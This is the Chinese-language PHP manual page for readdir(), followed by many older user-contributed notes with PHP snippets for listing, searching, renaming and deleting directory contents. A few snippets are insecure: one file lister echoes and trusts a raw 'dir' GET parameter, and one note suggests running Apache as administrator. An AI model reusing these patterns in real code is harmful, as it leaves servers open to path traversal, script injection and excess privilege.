                                {
                                        echo "Entering Directory: $dir$file<br/>";
                                        recursive_delete( $dir . $file . "/" );
                                        echo "Removing Directory: $dir$file<br/><br/>";
                                        rmdir( $dir . $file );
                                }
                                else
                                {
                                        echo "Deleting file: $dir$file<br/>";
                                        unlink( $dir . $file );
                                }
                        }
               }
               closedir($dh);
           }
        }
}
?>
05-Oct-2005 09:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
    //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
    //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
    //relative to each other in the order presented by readdir()
    $files = array();
    $fileNames = array();
    $i = 0;

    if (is_dir($path)) {
        if ($dh = opendir($path)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == "." || $file == "..") continue;
                $fullpath = $path . "/" . $file;
                $fkey = strtolower($file);
                while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
                $a = stat($fullpath);
                $files[$fkey]['size'] = $a['size'];
                if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
                else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
                else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
                else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
                $files[$fkey]['name'] = $file;
                $files[$fkey]['type'] = filetype($fullpath);
                $fileNames[$i++] = $fkey;
            }
            closedir($dh);
        } else die ("Cannot open directory:  $path");
    } else die ("Path is not a directory:  $path");
    sort($fileNames,SORT_STRING);
    $sortedFiles = array();
    $i = 0;
    foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

    return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard 21-May-2005 12:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
    // Try to open the directory
    if($dir = opendir($directory)) {
        // Create an array for all files found
        $tmp = Array();

        // Add the files
        while($file = readdir($dir)) {
            // Make sure the file exists
            if($file != "." && $file != ".." && $file[0] != '.') {
                // If it's a directiry, list all files within it
                if(is_dir($directory . "/" . $file)) {
                    $tmp2 = getFiles($directory . "/" . $file);
                    if(is_array($tmp2)) {
                        $tmp = array_merge($tmp, $tmp2);
                    }
                } else {
                    array_push($tmp, $directory . "/" . $file);
                }
            }
        }

        // Finish off the function
        closedir($dir);
        return $tmp;
    }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
iamnotanerd 29-Mar-2005 09:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..

<?php
function search($target, $directory){

    if(is_dir($directory)){
        $direc = opendir($directory);
        while(false !== ($file = readdir($direc))){

            if($file !="." && $file != ".."){

                if(is_file($directory."/".$file)){
                    if(preg_match("/$target/i", $file)){
                                            echo "<a href=\"$directory/$file\">$file</a><br>";
                                        }
                }else if(is_dir($directory."/".$file)){
                    search($target,$directory."/".$file);

                }

            }
        }
        closedir($direc);
    }

    return ;
}
?>
sandy at montana-riverboats dot com 29-Sep-2004 09:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
    $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
    $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
    $upurl = $PHP_SELF;
  }
else
  {
    if ($parent_path == $DOCUMENT_ROOT)
      $parent_parent_path = $parent_path;
    else
      $parent_parent_path = dirname ($parent_path);
    $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                  $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
    $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
    {
      $i = 0;
      while (false !== ($file = @readdir ($handle)))
    {
      if ($file != "." && $file != "..")
        {
          $list[$i] = $file;
          $i++;
        }
    }
      $dir_length = count ($list);
      echo "<ul>";
      for ($i = 0; $i < $dir_length; $i++)
    {
      global $PHP_SELF;
      global $DOCUMENT_ROOT;
      $label = $list[$i];
      $test = $dir."/".$label;
      $alink = $dir."/".ereg_replace(" ","%20",$label);
      if (!strstr ($PHP_SELF, $label))
        {
          if (is_dir ($test))
        {
          $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
          $url = ereg_replace(" ", "%20", $tmp);
                  echo "$url<br>\n";
          echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
        }
          else
        {
          $link = urlFromPath ($alink);

          $label = $list[$i];
          echo
            "<a href=\"$link\">".$label."</a><br>\n";
        }
        }
    }
      echo "</ul>";
      closedir ($handle);
    }
}

?>
micklweiss at gmx dot net 19-Nov-2003 01:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )     UNIX Systems Admin
---   ~ www.mickweiss.com ~
info at 4design dot nu 22-Aug-2003 06:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm 06-Jun-2003 01:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").


从目录句柄中读取条目

  • ? opendir
  • rewinddir ?
  • PHP Manual
  • 目录函数函数
  • 从目录句柄中读取条目

readdir

(PHP 4, PHP 5, PHP 7, PHP 8)

readdir — 从目录句柄中读取条目

说明

readdir(?resource $dir_handle = null): string|false

返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 打开

返回值

成功则返回文件名 或者在失败时返回 false

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | 现在 dir_handle 可以为 null。

示例

Example #1 列出目录中的所有文件

请留意下面例子中检查 readdir() 返回值的风格。这里明确地测试返回值是否全等于（值和类型都相同——更多信息参见比较运算符）false，否则任何目录项的名称求值为 false 的都会导致循环停止（例如一个目录名为"0"）。

<?php

if ($handle = opendir('/path/to/files')) {
echo "Directory handle: $handle\n";
echo "Entries:\n";

/* 这是正确地遍历目录方法 */
while (false !== ($entry = readdir($handle))) {
echo "$entry\n";
}

/* 这是错误地遍历目录的方法 */
while ($entry = readdir($handle)) {
echo "$entry\n";
}

closedir($handle);
}
?>

Example #2 列出当前目录的所有文件并去掉 . 和 ..

<?php
if ($handle = opendir('.')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "$entry\n";
}
}
closedir($handle);
}
?>

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • glob() - 寻找与模式匹配的文件路径
  • opendir() - 打开目录句柄
  • scandir() - 列出指定路径中的文件和目录

User Contributed Notes

synnus at gmail dot com 04-Nov-2019 08:56
<?php

 // if( $entry[0] != '.' )  best for ' . ' and ' .. '

            $d = dir( '.' );
            echo "Pointeur : " . $d->handle . "\n";
            echo "Chemin : " . $d->path . "\n";
            while (false !== ($entry = $d->read())) {
               if($entry[0] != '.') {
                   echo $entry, PHP_EOL;
               }
            }
            $d->close();

?>
Mark Simon 09-Oct-2019 05:44
Regarding the warning:

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE.

Of course, this means that if you use:

<?php
    if($entry = readdir($handle) == false) ...
?>

or

<?php
    while($entry = readdir($handle)) ...
?>

you may get a false false, as it were.

As far as I can tell, the only time this would actually occur is if you encounter an entry of 0.

According to

https://www.php.net/manual/en/language.types.boolean.php#language.types.boolean.casting

this appears to be the only string which will evaluate to false.
Mark Simon 26-Sep-2019 01:05
PHP includes and alternative boolean operators whose precedence is below assignment. This means that an expression of the form

<?php
    if(($a = something()) && $a !== false) ... ;
?>

can be written as

<?php
    if($a = something() and $a !== false) ... ;
?>

In this case, the loop can be written as:

<?php
    while ($entry = readdir($handle) and $entry !== false) {
        //    etc
    }
?>
craig dot edwards at comech dot co dot uk 05-Jun-2018 01:16
Please be aware that readdir() and opendir() etc will return sorted directory listings automatically on some operating systems, whilst others it will not.

On later versions of windows, you can usually be guaranteed alphabetically sorted file listings from readdir(), and on Linux there is no such guarantee. If you require any particular sort order you should read the results to an array and use asort() or rsort() on it, or similar, to get the results into the order you need.
osamahussain897 at gmail dot com 27-Jan-2018 08:40
<?php
if ($handle = opendir('../')) {

    while($entry = readdir($handle)){
        $ent[] = $entry;
    }

    echo $ent[0]; // Access To Custom Directory or File;
    closedir($handle);
}
?>
sergio dot barrios at upr dot edu dot cu 29-Jul-2016 06:03
Find a file or folder within a directory. Say we want will loop n times by all subdirectories of a root directory and find a particular folder or file and know your address.

In my case I needed to find each existing file in a directory metadata.opf a Calibre library and take all the data for each document this, if we consider that this directory had 20,000 folders author is a task that is humanly impossible . This recursive algorithm achieves do my homework. I hope it will help you.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
garvitdelhi at gmail dot com 31-Aug-2014 06:10
this function recurrsively goes to a particular depth and stops after the depth is reached.

function read_path($root = '.', $depth = 1) {
        if($depth == 0) {
            return;
        }
        $last_letter  = $root[strlen($root)-1];
          $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;
          $files  = array('files'=>array(), 'dirs'=>array());
          if ($handle = opendir($root)) {
              while (false !== ($file = readdir($handle))) {
                if ($file == '.' || $file == '..') {
                      continue;
                }
                $file  = $root.$file;
                if (is_dir($file)) {
                      $directory_path = $file.DIRECTORY_SEPARATOR;
                    $files['dirs'][$directory_path]  = NULL;
                } elseif (is_file($file)) {
                    $files['files'][]  = $file;
                }
              }
              closedir($handle);
        }
          $done = [$root=>$files];
          foreach ($done[$root]['dirs'] as $key=>$value) {
              $done[$root]['dirs'][$key] = $this->read_path($key, $depth-1);
          }
          return $done[$root];
    }
stiles daht nathan ahat geemale 20-Jun-2014 05:54
I'm on 5.4.21 this function returns null after . and .. on an empty directory.  ZendServer for IBMi
Blizzz 02-Sep-2013 04:42
If dir_handle is not a proper resource, null will be returned instead of false.
jpittman2 at gmail dot com 18-Jul-2013 05:55
Warning when using readdir() on certain versions of CentOS on NFS-mounted directories:

This is not a bug with PHP's readdir, but a bug with certain versions of CentOS's readdir implementation.  According to Post #6213 in the CentOS Bugs forum, when using CentOS kernel versions 2.6.18-348 through 2.6.18-348.3.1, invoking readdir on an NFS-mounted directory may not return all the entries.  Since PHP's readdir() uses this library, the issue is manifest in PHP as well.

According to the post, upgrading to version 2.6.18-348.4.1.el5 should solve the issue, though I haven't tried it.

glob() does NOT seem to suffer from this same vulnerability.
avi dot megladon at gmail dot com 22-Jun-2012 12:51
loop through folders and sub folders with option to remove specific files.

<?php
function listFolderFiles($dir,$exclude){
    $ffs = scandir($dir);
    echo '<ul class="ulli">';
    foreach($ffs as $ff){
        if(is_array($exclude) and !in_array($ff,$exclude)){
            if($ff != '.' && $ff != '..'){
            if(!is_dir($dir.'/'.$ff)){
            echo '<li><a href="edit_page.php?path='.ltrim($dir.'/'.$ff,'./').'">'.$ff.'</a>';
            } else {
            echo '<li>'.$ff;
            }
            if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff,$exclude);
            echo '</li>';
            }
        }
    }
    echo '</ul>';
}

listFolderFiles('.',array('index.php','edit_page.php'));
?>
Mauro Alessandro Nonnis 17-Jul-2011 01:57
## List and Rename  all files on recursive directories with "recursive directory name" as template + filename
## Advice:  other files in the same directory will result in a warning
## scriptname : Recursive Dir_Renfiles_dirname-filename.php

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != ".." && $file != "Recursive Dir_Renfiles_dirname-filename.php") {
                    echo "$file";
        echo "<br>";
                    $count = -1;
                     $handle2 = @opendir($file);
                        while (false !== ($file2 = @readdir($handle2))) {
                        echo "$file2";
                        if ($count <10 ){ @rename("$file/$file2", "$file/$file"."_$file2");}
                        else { @rename("$file/$file2", "$file/$file"."_$file2");}
                        echo "<br>";
                         $count = $count + 1;
                            }
             echo "<br>";
        }
    }
    closedir($handle);
}
?>
mrlemonade 09-Jul-2011 03:34
Get all files on recursive directories in single array.

<?php
/*
 * mrlemonade ~
 */

function getFilesFromDir($dir) {

  $files = array();
  if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            if(is_dir($dir.'/'.$file)) {
                $dir2 = $dir.'/'.$file;
                $files[] = getFilesFromDir($dir2);
            }
            else {
              $files[] = $dir.'/'.$file;
            }
        }
    }
    closedir($handle);
  }

  return array_flat($files);
}

function array_flat($array) {

  foreach($array as $a) {
    if(is_array($a)) {
      $tmp = array_merge($tmp, array_flat($a));
    }
    else {
      $tmp[] = $a;
    }
  }

  return $tmp;
}

// Usage
$dir = '/data';
$foo = getFilesFromDir($dir);

print_r($foo);
?>
stuart at horuskol dot net 02-May-2011 10:20
Looking through the examples, I can't see any that do a simple check on the value of the directory resource that opendir returns and is subsequently used by readdir.

If opendir returns false, and you simply pass this to the readdir call in the while loop, you will get an infinite loop.

A simple test helps prevent this:

<?php

$dir = opendir($path);
while ($dir && ($file = readdir($dir)) !== false) {
  // do stuff
}

?>
sreekumar [at] sreek [dot] in 12-Apr-2011 02:04
A function I created to non-recursively get the path of all files and folders including sub-directories of a given folder.
Though I have not tested it completely, it seems to be working.

<?php

/**
 * Finds path, relative to the given root folder, of all files and directories in the given directory and its sub-directories non recursively.
 * Will return an array of the form
 * array(
 *   'files' => [],
 *   'dirs'  => [],
 * )
 * @author sreekumar
 * @param string $root
 * @result array
 */
function read_all_files($root = '.'){
  $files  = array('files'=>array(), 'dirs'=>array());
  $directories  = array();
  $last_letter  = $root[strlen($root)-1];
  $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;

  $directories[]  = $root;

  while (sizeof($directories)) {
    $dir  = array_pop($directories);
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
        if ($file == '.' || $file == '..') {
          continue;
        }
        $file  = $dir.$file;
        if (is_dir($file)) {
          $directory_path = $file.DIRECTORY_SEPARATOR;
          array_push($directories, $directory_path);
          $files['dirs'][]  = $directory_path;
        } elseif (is_file($file)) {
          $files['files'][]  = $file;
        }
      }
      closedir($handle);
    }
  }

  return $files;
}
?>
Qwerp 11-Nov-2010 10:42
Here's a handy function you can use to list the files in the directory you specify, their type (dir or file) and whether they are hidden.
You could modify it to do other things too.

<?php
function listDirs($where){
echo "<table border=\"1\"><tr><td><b>Name</b></td><td><b>Type</b></td>";
echo "<td><b>Invisible (Hidden)?</b></td></tr>";
    $itemHandler=opendir($where);
    $i=0;
    while(($item=readdir($itemHandler)) !== false){
        if(substr($item, 0, 1)!="."){
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>No</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>No</td></tr>";
            }
            $i++;
        }else{
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>Yes</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>Yes</td></tr>";
            }
            $i++;
        }
       }
echo "</table>";
}
?>
Then call it like this.
<?php
listDirs(DIR);
?>
Example:
<?php
listDirs("/tests/directorylisting");
?>

You get a table like this.

Name    Type    Invisible (Hidden)?
.    Directory    Yes
..    Directory    Yes
.DS_Store    File    Yes
.localized    File    Yes
index.php    File    No
OOOLS    Directory    No
QwerpWiki.php    File    No
frasq at frasq dot org 01-Nov-2010 07:46
A variation on listing all the files in a directory recursively. The code illustrates a basic technique : the use of an auxiliary function. It avoids building temporary lists which are merged on the way back. Note that the array which collects the information must be passed by reference.

<?php
function listdir($dir='.') {
    if (!is_dir($dir)) {
        return false;
    }

    $files = array();
    listdiraux($dir, $files);

    return $files;
}

function listdiraux($dir, &$files) {
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        $filepath = $dir == '.' ? $file : $dir . '/' . $file;
        if (is_link($filepath))
            continue;
        if (is_file($filepath))
            $files[] = $filepath;
        else if (is_dir($filepath))
            listdiraux($filepath, $files);
    }
    closedir($handle);
}

$files = listdir('.');
sort($files, SORT_LOCALE_STRING);

foreach ($files as $f) {
    echo  $f, "\n";
}
?>
yasirlayth at live dot com 04-Jan-2010 05:36
this simple function will index the directories and sub-directories of a given dir

<?php
function get_dirs($dir){
    global $dirs;
    if (!isset($dirs)){$dirs = '';}
    if(substr($dir,-1) !== '\\'){$dir .= '\\';}
    if ($handle = opendir($dir)){
        while (false !== ($file = readdir($handle))){
            if (filetype($dir.$file) === 'dir' && $file != "." && $file != ".."){
                clearstatcache();
                $dirs .= $file . "\n";
                get_dirs($dir . $file);
            }
        }
        closedir($handle);
    }
    return $dirs;
}
?>
DaveRandom 17-May-2009 07:39
A very flexible function to recursively list all files in a directory with the option to perform a custom set of actions on those files and/or include extra information about them in the returned data.

 ----------

 SYNTAX:
   $array = process_dir ( $dir , $recursive = FALSE )
        $dir  (STRING)   =  Directory to process
  $recursive  (BOOLEAN)  =  [Optional] Recursive if set to TRUE

 RETURN VALUES:
  The function returns an indexed array, one entry for every file. Each entry is an associative array, containing the basic information 'filename' (name of file) and 'dirpath' (directory component of path to file), and any additional keys you configure. Returns FALSE on failure.

 ----------

  To allow you to configure another key, the entry for each file is stored in an array, "$entry" for each iteration. You can easily return any additional data for a given file using $entry['keyname'] = ... (Note that this data can be any variable type - string, bool, float, resource etc)

  There is a string variable "$path" available, which contains the full path of the current file, relative to the initial "$dir" supplied at function call. This data is also available in it's constituent parts, "$dir" and "$file". Actions for each file can be constructed on the basis of these variables. The variables "$list", "$handle" and "$recursive" should not be used within your code.

 ----------

 Simply insert you code into the sections indicated by the comments below and your away!

 The following example returns filename, filepath, and file modified time (in a human-readable string) for all items, filesize for all files but not directories, and a resource stream for all files with 'log' in the filename (but not *.log files).

<?php

  function process_dir($dir,$recursive = FALSE) {
    if (is_dir($dir)) {
      for ($list = array(),$handle = opendir($dir); (FALSE !== ($file = readdir($handle)));) {
        if (($file != '.' && $file != '..') && (file_exists($path = $dir.'/'.$file))) {
          if (is_dir($path) && ($recursive)) {
            $list = array_merge($list, process_dir($path, TRUE));
          } else {
            $entry = array('filename' => $file, 'dirpath' => $dir);

 //---------------------------------------------------------//
 //                     - SECTION 1 -                       //
 //          Actions to be performed on ALL ITEMS           //
 //-----------------    Begin Editable    ------------------//

  $entry['modtime'] = filemtime($path);

 //-----------------     End Editable     ------------------//
            do if (!is_dir($path)) {
 //---------------------------------------------------------//
 //                     - SECTION 2 -                       //
 //         Actions to be performed on FILES ONLY           //
 //-----------------    Begin Editable    ------------------//

  $entry['size'] = filesize($path);
  if (strstr(pathinfo($path,PATHINFO_BASENAME),'log')) {
    if (!$entry['handle'] = fopen($path,r)) $entry['handle'] = "FAIL";
  }

 //-----------------     End Editable     ------------------//
              break;
            } else {
 //---------------------------------------------------------//
 //                     - SECTION 3 -                       //
 //       Actions to be performed on DIRECTORIES ONLY       //
 //-----------------    Begin Editable    ------------------//

 //-----------------     End Editable     ------------------//
              break;
            } while (FALSE);
            $list[] = $entry;
          }
        }
      }
      closedir($handle);
      return $list;
    } else return FALSE;
  }

  $result = process_dir('C:/webserver/Apache2/httpdocs/processdir',TRUE);

 // Output each opened file and then close
  foreach ($result as $file) {
    if (is_resource($file['handle'])) {
        echo "\n\nFILE (" . $file['dirpath'].'/'.$file['filename'] . "):\n\n" . fread($file['handle'], filesize($file['dirpath'].'/'.$file['filename']));
        fclose($file['handle']);
    }
  }

?>
HeadRoom 08-May-2009 12:08
Thought I would include what I wrote to get a random image from a directory.

<?php
$image_dir = 'images';
$count = 0;
if ($handle = opendir($image_dir)) {
    $retval = array();
    while (false !== ($file = readdir($handle))) {
        if (($file <> ".") && ($file <> "..")) {
        $retval[$count] = $file;
        $count = $count + 1;
            }
    }

    closedir($handle);
}
shuffle($retval);
$current_image = $retval[0];
?>

[NOTE BY danbrown AT php DOT net: Contains a bugfix/typofix inspired by 'ffd8' on 19-JUN-09.]
hanan dot ali dot shaikh at gmail dot com 14-Mar-2009 11:37
This function is used to display random image i.e. at header position of a site. It reads the whole directory and then randomly print the image. I think it may be useful for someone.

<?php
if ($handle = opendir('images/')) {
   $dir_array = array();
    while (false !== ($file = readdir($handle))) {
        if($file!="." && $file!=".."){
            $dir_array[] = $file;
        }
    }
    echo $dir_array[rand(0,count($dir_array)-1)];
    closedir($handle);
}
?>
hotrungdungit at gmail dot com 18-Dec-2008 08:59
Below will return an array of file names and folders in directory

<?php
function ReadFolderDirectory($dir = "root_dir/here")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = $this->ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>
Kim Christensen 05-May-2008 08:14
Handy little function that returns the number of files (not directories) that exists under a directory.
Choose if you want the function to recurse through sub-directories with the second parameter -
the default mode (false) is just to count the files directly under the supplied path.

<?php

  /**
   * Return the number of files that resides under a directory.
   *
   * @return integer
   * @param    string (required)   The directory you want to start in
   * @param    boolean (optional)  Recursive counting. Default to FALSE.
   * @param    integer (optional)  Initial value of file count
   */

  function num_files($dir, $recursive=false, $counter=0) {
    static $counter;
    if(is_dir($dir)) {
      if($dh = opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
          if($file != "." && $file != "..") {
              $counter = (is_dir($dir."/".$file)) ? num_files($dir."/".$file, $recursive, $counter) : $counter+1;
          }
        }
        closedir($dh);
      }
    }
    return $counter;
  }

  // Usage:
  $nfiles = num_files("/home/kchr", true); // count all files that resides under /home/kchr, including subdirs
  $nfiles = num_files("/tmp"); // count the files directly under /tmp

?>
info at agentur-obermaier dot de 15-Apr-2008 04:13
This is a nice quick full dir read - sorry for my bad english ;)

<?php
function ReadDirs($dir,$em){
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != ".." && $file != "Thumb.db") {
            if(is_dir($dir.$file)){
                echo $em."&raquo; ".$file.'<br>';
                ReadDirs($dir.$file."/",$em."&nbsp;&nbsp;");
            }
        }
    }
    closedir($handle);
    }
}
?>
skysama at googles_email dot com 12-Sep-2007 10:23
Yet another view files by extension

/* NOTE:
 *  /a-d = do not include directories
 *  /b   = show files in bare mode ( no dates or filesize )
 */

<?php
$dir = '.\\img\\';    // reminder: escape your slashes
$filetype = "*.png";
$filelist = shell_exec( "dir {$dir}{$filetype} /a-d /b" );
$file_arr = explode( "\n", $filelist );
array_pop( $file_arr ); // last line is always blank
print_r( $file_arr );
?>
schursin at gmail[deleteme] dot com 27-May-2007 06:42
code:

<?php

        function permission($filename)
        {
            $perms = fileperms($filename);

            if     (($perms & 0xC000) == 0xC000) { $info = 's'; }
            elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
            elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
            elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
            elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
            elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
            elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
            else                                 { $info = 'u'; }

            // владелец
            $info .= (($perms & 0x0100) ? 'r' : '-');
            $info .= (($perms & 0x0080) ? 'w' : '-');
            $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

            // группа
            $info .= (($perms & 0x0020) ? 'r' : '-');
            $info .= (($perms & 0x0010) ? 'w' : '-');
            $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

            // все
            $info .= (($perms & 0x0004) ? 'r' : '-');
            $info .= (($perms & 0x0002) ? 'w' : '-');
            $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

            return $info;
        }

        function dir_list($dir)
        {
            if ($dir[strlen($dir)-1] != '/') $dir .= '/';

            if (!is_dir($dir)) return array();

            $dir_handle  = opendir($dir);
            $dir_objects = array();
            while ($object = readdir($dir_handle))
                if (!in_array($object, array('.','..')))
                {
                    $filename    = $dir . $object;
                    $file_object = array(
                                            'name' => $object,
                                            'size' => filesize($filename),
                                            'perm' => permission($filename),
                                            'type' => filetype($filename),
                                            'time' => date("d F Y H:i:s", filemtime($filename))
                                        );
                    $dir_objects[] = $file_object;
                }

            return $dir_objects;
        }

?>

call:

<?php

        print_r(dir_list('/path/to/you/dir/'));

?>

output sample:

Array
(
    [0] => Array
        (
            [name] => api
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 01:55:02
        )

    [1] => Array
        (
            [name] => classes
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 26 May 2007 00:56:44
        )

    [2] => Array
        (
            [name] => config.inc.php
            [size] => 143
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 13:13:19
        )

    [3] => Array
        (
            [name] => index.php
            [size] => 131
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 22:15:18
        )

    [4] => Array
        (
            [name] => modules
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 00:47:40
        )

    [5] => Array
        (
            [name] => temp
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 04:49:33
        )

)
(Qube#php@Efnet) 15-May-2007 08:36
<?php

// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps

Function listdir($start_dir='.') {

  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }

  return $files;

}

$files = listdir('.');
print_r($files);
?>
(Qube#php@Efnet) 14-May-2007 02:41
Here is an updated version of preg_find() [which has been linked from the glob() man page for years] - this function should provide most of what you want back from reading files, directories, different sorting methods, recursion, and perhaps most powerful of all the ability to pattern match with a PCRE regex.

You can get preg_find here: http://www.pgregg.com/projects/php/preg_find/preg_find.php.txt
or if you prefer colourful .phps format: http://www.pgregg.com/projects/php/preg_find/preg_find.phps
or scoll down to the end of this note.

I wrote several examples on how to use it on my blog at: http://www.pgregg.com/forums/viewtopic.php?tid=73

simple glob() type replacement:
$files = preg_find('/./', $dir);

recursive?
$files = preg_find('/./', $dir, PREG_FIND_RECURSIVE);

pattern match? find all .php files:
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE);

sorted alphabetically?
